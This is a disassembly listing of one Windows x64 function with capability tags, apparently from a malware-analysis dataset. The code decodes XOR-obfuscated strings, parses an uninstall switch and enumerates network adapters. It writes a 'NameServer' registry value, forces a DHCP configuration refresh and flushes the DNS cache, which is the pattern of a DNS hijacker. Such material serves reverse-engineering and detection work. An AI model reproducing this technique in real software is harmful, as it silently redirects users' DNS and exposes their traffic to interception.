Function at 0x140003cb0
Capabilities:
Accept command line arguments
Encode data using xor
Get session user name
Schedule task via itaskscheduler
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push r15
lea rbp, [rsp - 0xaa8]
sub rsp, 0xba8
mov rax, qword [0x1402537d8]
xor rax, rsp
mov qword [rbp + 0xa90], rax
movdqa xmm0, xmmword [0x14021b660]
lea rdx, str.fSExOjc2Jz43Ng
xor esi, esi
mov qword [rbp - 0x68], rcx
mov r15, rcx
mov word [rsp + 0x60], 0x5252
movdqa xmm1, xmm0
mov byte [rsp + 0x62], 0x52
lea rcx, [rbp + 0xa8]
mov qword [rbp - 0x10], rsi
lea r8d, [rsi + 0x10]
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], sil
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], sil
movdqu xmmword [rbp + 0x180], xmm0
mov byte [rbp + 0x170], sil
movdqu xmmword [rbp + 0xb8], xmm0
mov byte [rbp + 0xa8], sil
call fcn.140002c20
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0xc8]
call fcn.140002330
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x140003dd4
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140003da6
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003da1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e08
call fcn.14000b054
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], sil
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], sil
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x140003e15
mov rcx, qword [rbp + 0xc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e10
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e08
call fcn.14000b054
mov rdx, qword [rbp + 0xc0]
movdqa xmm0, xmmword [0x14021b660]
mov byte [rbp + 0xc8], sil
movdqu xmmword [rbp + 0xd8], xmm0
cmp rdx, 0x10
jb 0x140003e6d
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e68
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e08
call fcn.14000b054
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp - 0x20]
mov qword [rsp + 0xbd8], rdi
mov qword [rsp + 0xbe0], r12
mov qword [rsp + 0xbe8], r13
mov qword [rsp + 0xba0], r14
call fcn.140002c20
mov r11d, esi
movabs r13, 0xaaaaaaaaaaaaaaab
cmp qword [rbp - 0x10], rsi
jbe 0x140003f1c
mov r10, rsi
mov r9, rsi
nop dword [rax]
nop word [rax + rax]
cmp qword [rbp - 8], 0x10
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov rax, r13
cmovae r8, qword [rbp - 0x20]
lea r10, [r10 + 1]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x10]
jb 0x140003ed0
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov rdi, qword [rbp + 0x20]
lea rbx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
add rdi, rdx
mov qword [rbp + 0x120], rsi
cmp qword [rbp + 0x28], 0x10
mov rdx, rdi
mov qword [rbp + 0x128], 7
cmovae rbx, qword [rbp + 0x10]
sub rdx, rbx
mov word [rbp + 0x110], si
cmp rdx, 8
jb 0x140003f77
lea rcx, [rbp + 0x110]
call fcn.140009da0
mov qword [rbp + 0x120], rsi
mov r8, rdi
lea rcx, [rbp + 0x110]
mov rdx, rbx
call fcn.140009a30
mov r8, qword [rbp + 0x20]
movdqa xmm0, xmmword [0x14021b660]
movdqu xmmword [rbp + 0x100], xmm0
mov byte [rbp + 0xf0], sil
lea rdx, [r8 + 3]
cmp rdx, 0x10
jb 0x140003fc5
lea rcx, [rbp + 0xf0]
call fcn.1400098e0
mov r8, qword [rbp + 0x20]
mov qword [rbp + 0x100], rsi
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xf0]
cmovae rdx, qword [rbp + 0x10]
call fcn.1400087a0
mov r8d, 3
lea rdx, [0x1402195d4]
lea rcx, [rbp + 0xf0]
call fcn.1400087a0
cmp qword [rbp + 0x108], 0x10
lea rdx, [rbp + 0xf0]
mov rdi, qword [rbp + 0x100]
lea rbx, [rbp + 0xf0]
cmovae rdx, qword [rbp + 0xf0]
movdqa xmm0, xmmword [0x14021b650]
add rdi, rdx
cmp qword [rbp + 0x108], 0x10
mov rdx, rdi
movdqu xmmword [rbp + 0x140], xmm0
cmovae rbx, qword [rbp + 0xf0]
sub rdx, rbx
mov word [rbp + 0x130], si
cmp rdx, 8
jb 0x140004066
lea rcx, [rbp + 0x130]
call fcn.140009da0
mov qword [rbp + 0x140], rsi
mov r8, rdi
lea rcx, [rbp + 0x130]
mov rdx, rbx
call fcn.140009a30
mov dword [rbp + 0xa0], esi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0xa0]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov ecx, dword [rbp + 0xa0]
mov r14d, esi
mov qword [rbp - 0x80], rax
mov r12d, esi
mov dword [rbp + 8], esi
test ecx, ecx
jle 0x1400041c1
mov r12, qword [rbp + 0x128]
mov r11, rax
mov r13, qword [rbp + 0x110]
mov ebx, ecx
movzx edi, word [0x1402195dc]
movzx r15d, word [0x1402195da]
mov r10d, dword [0x140263cd8]
nop dword [rax + rax]
mov r8, qword [r11]
lea rax, [rbp + 0x110]
cmp r12, 8
mov r9, r8
cmovae rax, r13
sub r9, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r9]
sub edx, ecx
jne 0x140004114
add rax, 2
test ecx, ecx
jne 0x140004100
movzx ecx, word [0x1402195d8]
test edx, edx
movzx eax, word [r8]
mov edx, 1
cmove r14d, edx
sub ecx, eax
jne 0x140004145
movzx eax, word [r8 + 2]
movzx ecx, r15w
sub ecx, eax
jne 0x140004145
movzx eax, word [r8 + 4]
movzx ecx, di
sub ecx, eax
test ecx, ecx
lea r9, str._uninstall
mov rcx, 0xffffffffffffffff
cmove r10d, edx
nop dword [rax]
movzx edx, word [r9 + rcx*2 + 2]
movzx eax, word [r8 + rcx*2 + 2]
sub edx, eax
jne 0x140004188
add rcx, 2
cmp rcx, 0xb
je 0x140004188
movzx edx, word [r9 + rcx*2]
movzx eax, word [r8 + rcx*2]
sub edx, eax
je 0x140004160
test edx, edx
mov eax, 1
cmove esi, eax
add r11, 8
sub rbx, rax
jne 0x1400040e0
mov rax, qword [rbp - 0x80]
movabs r13, 0xaaaaaaaaaaaaaaab
mov r15, qword [rbp - 0x68]
mov dword [rbp + 8], esi
xor esi, esi
mov r12d, dword [rbp + 8]
mov dword [0x140263cd8], r10d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalFree]
cmp r14d, 1
jne 0x1400044be
movdqa xmm0, xmmword [0x14021b660]
lea r8d, [r14 + 0x17]
lea rdx, str.FT49MDMDhUAExEXHx0cBg
mov byte [rbp + 0xa8], 0
lea rcx, [rbp + 0xa8]
movdqu xmmword [rbp + 0xb8], xmm0
call fcn.140002c20
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0xc8]
call fcn.140002330
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x14000428a
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000425c
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004257
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e0e
call fcn.14000b054
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x1400042cb
mov rcx, qword [rbp + 0xc8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042c6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e0e
call fcn.14000b054
mov rdx, qword [rbp + 0xc0]
movdqa xmm0, xmmword [0x14021b660]
mov byte [rbp + 0xc8], 0
movdqu xmmword [rbp + 0xd8], xmm0
cmp rdx, 0x10
jb 0x140004323
mov rcx, qword [rbp + 0xa8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000431e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e0e
call fcn.14000b054
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp - 0x20]
call fcn.140002c20
cmp qword [rbp - 0x10], 0
mov r11d, esi
jbe 0x14000439c
mov r10, rsi
mov r9, rsi
nop
cmp qword [rbp - 8], 0x10
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov rax, r13
cmovae r8, qword [rbp - 0x20]
lea r10, [r10 + 1]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r8 + r10 - 1]
mov byte [rcx + r10 - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x10]
jb 0x140004350
cmp qword [rbp + 0x28], 0x10
lea rdx, [rbp + 0x10]
mov rdi, qword [rbp + 0x20]
lea rbx, [rbp + 0x10]
cmovae rdx, qword [rbp + 0x10]
movdqa xmm0, xmmword [0x14021b650]
add rdi, rdx
cmp qword [rbp + 0x28], 0x10
mov rdx, rdi
movdqu xmmword [rbp + 0x40], xmm0
cmovae rbx, qword [rbp + 0x10]
sub rdx, rbx
mov word [rbp + 0x30], si
cmp rdx, 8
jb 0x1400043e9
lea rcx, [rbp + 0x30]
call fcn.140009da0
mov qword [rbp + 0x40], rsi
mov r8, rdi
lea rcx, [rbp + 0x30]
mov rdx, rbx
call fcn.140009a30
cmp qword [rbp + 0x48], 8
lea r9, [rbp + 0x30]
cmovae r9, qword [rbp + 0x30]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov rbx, rax
test rax, rax
jne 0x14000441f
xor ecx, ecx
jmp 0x14000442f
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000447e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x140005d7c
mov rcx, qword [rbp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004474
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e14
call fcn.14000b054
jmp 0x140005d7c
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x1400044be
mov rcx, qword [rbp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044b9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e14
call fcn.14000b054
test r12d, r12d
jne 0x14000458a
test r14d, r14d
je 0x14000458a
lea r9d, [r12 + 0x64]
mov rcx, r15
lea r8, [0x140263c10]
lea edx, [r12 + 0x67]
call qword [sym.imp.USER32.dll_LoadStringW]
lea r9d, [r12 + 0x64]
mov rcx, r15
lea r8, [0x140263b40]
lea edx, [r12 + 0x6d]
call qword [sym.imp.USER32.dll_LoadStringW]
mov rcx, r15
call fcn.140005eb0
mov rcx, r15
call fcn.140005f60
test eax, eax
je 0x140005d7c
lea edx, [r12 + 0x6d]
mov rcx, r15
call qword [sym.imp.USER32.dll_LoadAcceleratorsW]
xor r9d, r9d
lea rcx, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
mov rbx, rax
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140004582
mov rcx, qword [rbp - 0x50]
lea r8, [rbp - 0x50]
mov rdx, rbx
call qword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x14000456c
lea rcx, [rbp - 0x50]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x50]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp - 0x50]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140004543
mov esi, dword [rbp - 0x40]
jmp 0x140005d7c
movdqa xmm0, xmmword [0x14021b660]
lea rdx, str.amB8Y2RhfGNmYHxgZw
xor eax, eax
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x2e0], rax
mov qword [rbp + 0x2e8], rax
mov qword [rbp + 0x2f0], rax
lea r8d, [rax + 0x14]
mov byte [rbp + 0x2f8], al
mov qword [rbp + 0x2c0], rax
mov qword [rbp + 0x2c8], rax
mov qword [rbp + 0x2d0], rax
mov byte [rbp + 0x2d8], al
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], al
call fcn.140002c20
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140002330
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x140004668
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14000463a
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004635
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e1a
call fcn.14000b054
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x1400046a3
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000469e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e1a
call fcn.14000b054
mov rdx, qword [rbp + 0x48]
movdqa xmm0, xmmword [0x14021b660]
mov byte [rbp + 0x60], 0
movdqu xmmword [rbp + 0x70], xmm0
cmp rdx, 0x10
jb 0x1400046ef
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046ea
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e1a
call fcn.14000b054
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp - 0x20]
call fcn.140002c20
cmp qword [rbp - 0x10], 0
mov r11d, esi
jbe 0x14000476c
mov r10, rsi
mov r9, rsi
nop word [rax + rax]
cmp qword [rbp - 8], 0x10
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov rax, r13
cmovae r8, qword [rbp - 0x20]
lea r10, [r10 + 1]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r10 + r8 - 1]
mov byte [r10 + rcx - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x10]
jb 0x140004720
cmp qword [rbp + 0x28], 0x10
lea r8, [rbp + 0x10]
lea rdx, [0x140219630]
cmovae r8, qword [rbp + 0x10]
lea rcx, [rbp + 0x2e0]
call fcn.140008bf0
movdqa xmm0, xmmword [0x14021b660]
lea rdx, str.amB8Y2RhfGNmYXxnaw
mov r8d, 0x14
mov byte [rbp + 0x30], 0
lea rcx, [rbp + 0x30]
movdqu xmmword [rbp + 0x40], xmm0
call fcn.140002c20
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x60]
call fcn.140002330
mov rbx, rax
lea rax, [rbp - 0x20]
cmp rax, rbx
je 0x140004836
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140004808
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004803
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e20
call fcn.14000b054
mov qword [rbp - 0x10], rsi
mov qword [rbp - 8], 0xf
mov byte [rbp - 0x20], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140004871
mov rcx, qword [rbp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000486c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e20
call fcn.14000b054
mov rdx, qword [rbp + 0x48]
movdqa xmm0, xmmword [0x14021b660]
mov byte [rbp + 0x60], 0
movdqu xmmword [rbp + 0x70], xmm0
cmp rdx, 0x10
jb 0x1400048bd
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e20
call fcn.14000b054
cmp qword [rbp - 8], 0x10
lea rdx, [rbp - 0x20]
mov r8, qword [rbp - 0x10]
lea rcx, [rbp + 0x10]
cmovae rdx, qword [rbp - 0x20]
call fcn.140002c20
cmp qword [rbp - 0x10], 0
mov r11d, esi
jbe 0x14000493c
mov r10, rsi
mov r9, rsi
nop dword [rax + rax]
cmp qword [rbp - 8], 0x10
lea r8, [rbp - 0x20]
lea rcx, [rbp + 0x10]
mov rax, r13
cmovae r8, qword [rbp - 0x20]
lea r10, [r10 + 1]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
inc r11d
mul r9
shr rdx, 1
lea rax, [rdx + rdx*2]
sub r9, rax
movzx eax, byte [rsp + r9 + 0x60]
xor al, byte [r10 + r8 - 1]
mov byte [rcx + r10 - 1], al
movsxd r9, r11d
cmp r9, qword [rbp - 0x10]
jb 0x1400048f0
cmp qword [rbp + 0x28], 0x10
lea r8, [rbp + 0x10]
lea rdx, [0x140219630]
cmovae r8, qword [rbp + 0x10]
lea rcx, [rbp + 0x2c0]
call fcn.140008bf0
lea rbx, [0x140263ce0]
mov rcx, rbx
lea r9, [rbp + 0x2c0]
lea r8, [rbp + 0x2e0]
lea rdx, str._s__s
call fcn.140008c50
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rbx + rax], 0
jne 0x140004990
cmp rax, 5
jbe 0x140004fb4
mov ecx, 0x2c0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], rsi
mov dword [rsp + 0x78], 0x2c0
mov qword [rbp - 0x80], rsi
call fcn.14000af04
mov ecx, 0x40
mov dword [rbp], 0x40
mov r14, rax
call fcn.14000af04
lea rdx, [rsp + 0x78]
mov rcx, r14
mov r13, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140004a0c
mov edx, 0x2c0
mov rcx, r14
call fcn.14000b054
mov ecx, dword [rsp + 0x78]
call fcn.14000af04
mov r14, rax
mov qword [rbp - 0x80], rax
lea rdx, [rsp + 0x78]
mov rcx, r14
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x140004f32
mov r12d, esi
nop word [rax + rax]
cmp dword [r14 + 0x1a4], 6
jne 0x140004ee7
mov ecx, dword [r14 + 0x1a0]
lea r8, [rbp]
mov rdx, r13
call qword [sym.imp.IPHLPAPI.DLL_GetPerAdapterInfo]
cmp eax, 0x6f
jne 0x140004a6d
lea edx, [rax - 0x2f]
mov rcx, r13
call fcn.14000b054
mov ecx, dword [rbp]
call fcn.14000af04
mov r13, rax
mov ecx, dword [r14 + 0x1a0]
lea r8, [rbp]
mov rdx, r13
call qword [sym.imp.IPHLPAPI.DLL_GetPerAdapterInfo]
test eax, eax
jne 0x140004ee7
mov rdi, qword [r13 + 0x10]
lea r15, [r14 + 0xc]
mov r9d, 0x104
mov qword [rbp + 0x2a8], rsi
mov r8, r15
mov qword [rbp + 0x2b0], 0xf
mov edx, r9d
mov byte [rbp + 0x298], al
lea rcx, [rbp + 0x190]
call fcn.140195390
mov r8, 0xffffffffffffffff
lea rbx, [r13 + 0x18]
nop dword [rax]
inc r8
cmp byte [rbx + r8], 0
jne 0x140004ad0
mov rdx, rbx
lea rcx, [rbp + 0x298]
call fcn.140002c20
lea rdx, [0x140263ce0]
sub rdx, rbx
movzx ecx, byte [rbx]
movzx eax, byte [rbx + rdx]
sub ecx, eax
jne 0x140004b05
inc rbx
test eax, eax
jne 0x140004af3
test ecx, ecx
je 0x140004ea6
test rdi, rdi
je 0x140004b63
mov r15d, 1
nop dword [rax + rax]
mov r8, r15
lea rdx, [0x140219658]
lea rcx, [rbp + 0x298]
call fcn.1400087a0
lea rdx, [rdi + 8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140004b41
lea rcx, [rbp + 0x298]
call fcn.1400087a0
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140004b20
lea r15, [r14 + 0xc]
mov r9, qword [rbp + 0x68]
cmp qword [rbp + 0x70], r9
je 0x140004bf4
mov rcx, r9
lea rax, [rbp + 0x190]
mov edx, 2
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax]
lea rax, [rax + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rax - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140004b80
mov eax, dword [rax]
lea rdx, [rbp + 0x298]
mov dword [rcx], eax
lea rcx, [r9 + 0x108]
call fcn.140008550
add qword [rbp + 0x68], 0x128
jmp 0x140004c07
lea r8, [rbp + 0x190]
mov rdx, r9
lea rcx, [rbp + 0x60]
call fcn.140009030
lea rax, [rbp + 0x478]
mov r8d, 3
lea rdx, [rbp + 0x190]
mov qword [rbp + 0x470], rax
lea rcx, [rbp + 0x470]
call fcn.140008820
mov rdx, qword [rbp + 0x470]
lea rcx, [rbp + 0x370]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rcx, qword [rbp + 0x470]
lea rax, [rbp + 0x478]
cmp rcx, rax
je 0x140004c5a
call fcn.1401921f0
mov r8d, 0x3e
mov qword [rbp + 0x40], rsi
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], si
call fcn.140008620
lea rax, [rbp + 0x370]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140004c90
mov r8, qword [rbp + 0x48]
mov rcx, qword [rbp + 0x40]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x140004cdc
lea rdi, [rcx + rdx]
cmp r8, 8
lea r8, [rdx + rdx]
mov qword [rbp + 0x40], rdi
lea rbx, [rbp + 0x30]
cmovae rbx, qword [rbp + 0x30]
lea rdx, [rbp + 0x370]
lea rcx, [rbx + rcx*2]
call fcn.14018f3c0
mov word [rbx + rdi*2], si
jmp 0x140004cf1
lea r9, [rbp + 0x370]
mov qword [rsp + 0x20], rdx
lea rcx, [rbp + 0x30]
call fcn.140009620
cmp qword [rbp + 0x48], 8
lea rax, [rbp + 0x90]
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x20], rax
cmovae rdx, qword [rbp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004e66
lea r9d, [rax + 0x62]
lea r8, [0x140263ce0]
lea edx, [rax + 0x64]
lea rcx, [rbp + 0x300]
call fcn.140195390
lea rax, [rbp + 0x300]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x140004d51
movsxd rax, ecx
lea rdx, str.NameServer
mov ebx, 1
xor r8d, r8d
mov r9d, ebx
mov byte [rbp + rax + 0x301], 0
lea eax, [rcx + 2]
mov rcx, qword [rbp + 0x90]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x90]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.dhcpcsvc
mov r12d, ebx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
jne 0x140004e04
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x140004ea6
mov rcx, qword [rbp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ea1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e02
jmp 0x140004ea1
lea rax, [rbp + 0x470]
mov dword [rsp + 0x28], 0x100
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
mov r8, r15
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, str.DhcpNotifyConfigChange
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004e5d
mov dword [rsp + 0x30], esi
lea rdx, [rbp + 0x470]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor ecx, ecx
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x140004ea6
mov rcx, qword [rbp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ea1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e2c
call fcn.14000b054
mov rdx, qword [rbp + 0x2b0]
cmp rdx, 0x10
jb 0x140004ee7
mov rcx, qword [rbp + 0x298]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ee2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005e32
call fcn.14000b054
mov r14, qword [r14]
test r14, r14
jne 0x140004a30
cmp r12d, 1
jne 0x140004f2e
lea rcx, str.dnsapi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140004f2e
lea rdx, str.DnsFlushResolverCache
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140004f25
call rax
mov rcx, rbx
